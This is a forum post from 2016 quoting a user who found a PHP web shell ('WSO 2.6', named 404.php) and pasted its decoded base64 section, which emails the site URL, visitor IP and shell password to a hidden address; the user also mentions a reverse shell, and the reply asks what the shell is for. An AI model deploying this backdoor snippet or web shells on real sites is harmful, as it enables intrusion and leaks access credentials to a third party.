View Single Post
Old 05-07-2016, 03:17 AM  
clickity click
So Fecking Bummed
 
Industry Role:
Join Date: Aug 2014
Posts: 3,682
Quote:
Originally Posted by deonbell View Post
PHP Code:
$visitc $_COOKIE["visits"];
if (
$visitc == "") {
  
$visitc  0;
  
$visitor $_SERVER["REMOTE_ADDR"];
  
$web     $_SERVER["HTTP_HOST"];
  
$inj     $_SERVER["REQUEST_URI"];
  
$target  rawurldecode($web.$inj);
  
$judul   "WSO 2.6 http://$target by $visitor";
  
$body    "Bug: $target by $visitor - $auth_pass";
  if (!empty(
$web)) { @mail("[email protected]",$judul,$body,$auth_pass); }


I find program, I want to use application called 404.php. But I looked at code. It said base64 encoded in code and this what is said. Does e-mail password and ip?

Here is all code.
"404 Not Found" By aLLiGaToR - Pastebin.com
Maybe I just delete base64 line in code. Everything okay? Or maybe better if I use pentest monkey's reverse shell.

I only use code for good. I want to be a white hacker.
What do you want to do with the shell?
clickity click is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote